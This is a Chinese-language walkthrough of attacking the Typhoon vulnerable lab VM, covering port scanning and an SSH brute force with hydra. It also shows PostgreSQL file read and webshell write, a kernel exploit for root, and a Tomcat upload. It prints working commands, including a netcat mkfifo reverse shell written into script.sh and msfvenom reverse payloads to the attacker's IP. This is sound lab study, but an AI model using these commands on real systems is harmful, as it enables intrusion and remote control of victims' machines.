前言
Typhoon这台靶机有比较多的漏洞,最多的就是由于配置不当导致漏洞。
靶机下载及配置
Typhoon靶机下载地址:https://pan.baidu.com/s/18U0xwa9ukhYD4XyXJ98SlQ 提取码: jbn9
Typhoon靶机ip: 192.168.56.150
kali攻击者ip: 192.168.56.1
知识点
nmap
dirb
hydra
msfvenom
内核权限提升
Tomcat manger
Durpal cms
Lotus cms
Mongodb
postgresql未经授权访问
redis未经授权访问
……
开始测试
第一步还是开始进行目标靶机网络端口信息收集
nmap -sV -p- -A 192.168.56.150
扫描之后发现目标开放了很多的端口比如 21(ftp),22(ssh),25(smtp),53(dns),80(http),…2049(nfs-acl),3306(mysql),5432(postgresql),6379(redis),8080(http),27017(mongodb)等。
竟然发现开放了这么多端口,首先就得一个一个端口去测试(测试一部分)。
21端口(ftp)
nmap扫描结果为可以匿名访问
在浏览器访问,发现什么都没有
22端口(ssh)
首先开始是想什么呢,ssh连接需要账号密码的,发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试
结果用户存在,于是去想着爆破一下密码,看看是否为弱密码。
使用工具hydra
hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.56.150
得到账号密码
username: typhoon
password: 789456123
登录测试
25端口(smtp)
在测试时没有测试成功
nc 192.168.56.150 25
111端口(nfs,rpcbind)
5432端口(postgresql)
第一步msf模块测试一下
use auxiliary/scanner/postgres/postgres_login
set rhosts 192.168.56.150
exploit
发现账号密码
username: postgres
password: postgres
登录数据库psql -h 192.168.56.150 -U postgres
列下目录select pg_ls_dir('./');
读取权限允许的文件
select pg_read_file('postgresql.conf',0,1000);
建表,并使用copy从文件写入数据到表
DROP TABLE if EXISTS MrLee;
CREATE TABLE MrLee(t TEXT);
COPY MrLee FROM '/etc/passwd';
SELECT * FROM MrLee limit 1 offset 0;
成功读取到了/etc/passwd第一行
直接读出全部数据
SELECT * FROM MrLee;
利用数据库写文件
INSERT INTO MrLee(t) VALUES ('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
会显示里面有一句hello,MrLee
如上可见,文件可以成功写入,并成功读取到源内容。
接下来就可以利用 “大对象” 数据写入法
SELECT lo_create(6666);
delete from pg_largeobject where loid=6666;
//创建OID,清空内容
接下来向”大对象”数据写入数据(木马),使用hex:
在写数据之前,先生成一个木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=6666 R > /Desktop/shell.php
打开这个shell.php复制转换成16进制
insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));
导出数据到指定文件:
SELECT lo_export(6666, '/var/www/html/shell.php');
//默认导出到安装根目录 也可以带路径自由目录写shell
接下来就是访问了(先msf开启监听,然后http://192.168.56.150/shell.php)
6379端口(redis)
Redis未经授权访问漏洞利用,连接redis
这个漏洞有三种方法利用
1.利用redis写webshell
2.利用”公私钥”认证获取root权限
3.利用crontab反弹shell
这三种方法都能可以,但就是利用不了,在这个点我弄了很多遍,决定放弃但在最后发现我写的文件都存在靶机里,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了。
其他端口
未完待续
80端口(http)
访问80端口http://192.168.56.150
在nmap扫描发现80端口有个/monoadmin/目录,访问http://192.168.56.150/monoadmin
选择84mb,点击change database,打开之后出现下面界面
然后下面有两个链接点击creds,会发现一个账号密码,跟ssh爆破一样的。
username: typhoon
password: 789456123
再次使用ssh连接
ssh typhoon@192.168.56.150
竟然再次让我连接上了,这次我就不会这么轻易的放过它了,就想着看看能不能进行提权,于是查看了一下系统信息,不过连接的时候也告诉了系统的信息了
发现目标为ubuntu 14.04,去exploit-db搜索这个内核漏洞,然后下载
poc地址:https://www.exploit-db.com/exploits/37292
下载之后是一个.c文件,需要编译,把它上传到靶机编译运行
scp /Downloads/37292.c typhoon@192.168.56.150:/home/typhoon/
上传之后看一下成功了没,然后编译并运行
ls
gcc 37292.c -o 37292
ls
./37292
成功提权
8080端口(Tomcat)
浏览器访问 http://192.168.56.150:8080
发现需要登录
于是想用msf测试存在账号密码
等到账号密码
username: tomcat
password: tomcat
利用mgr_upload漏洞
python -c 'import pty;pty.spawn("/bin/bash")'
进行交互
最后再tab文件里发现一个.sh文件具有高的执行权限,就想着往里面写代码进行再次提权.
这时需要msfvenom创建bash代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.1 lport=5555 R
将生成的恶意代码添加到script.sh文件中
echo "mkfifo /tmp/qadshdh; nc 192.168.56.1 5555 0</tmp/qadshdh | /bin/sh >/tmp/qadshdh 2>&1; rm /tmp/qadshdh" > script.sh
运行./script.sh之前开启监听
开启监听端口
nc -lvp 5555
dirb 扫描
在dirb扫描中有cms,durpal,phpmyadmin等
Lotus CMS
访问cms:http://192.168.56.150/cms
利用msf的lotus cms模块
Drupal CMS
访问drupal: http://192.168.56.150/drupal
再次使用msf的durpal cms模块
others
在dvwa文件的config配置文件中发现了phpmyadmin数据库的账号密码了
username: root
password: toor
访问登录:http://192.168.56.150/phpmyadmin
进去之后发现得到一些账号密码,结果发现是在靶机了搭建了两个web测试平台
总结
本次靶机主要是端口渗透,类似于metasploitable2靶机,漏洞产生原因是由于配置不当。又学到了一些思路,哈哈哈。继续努力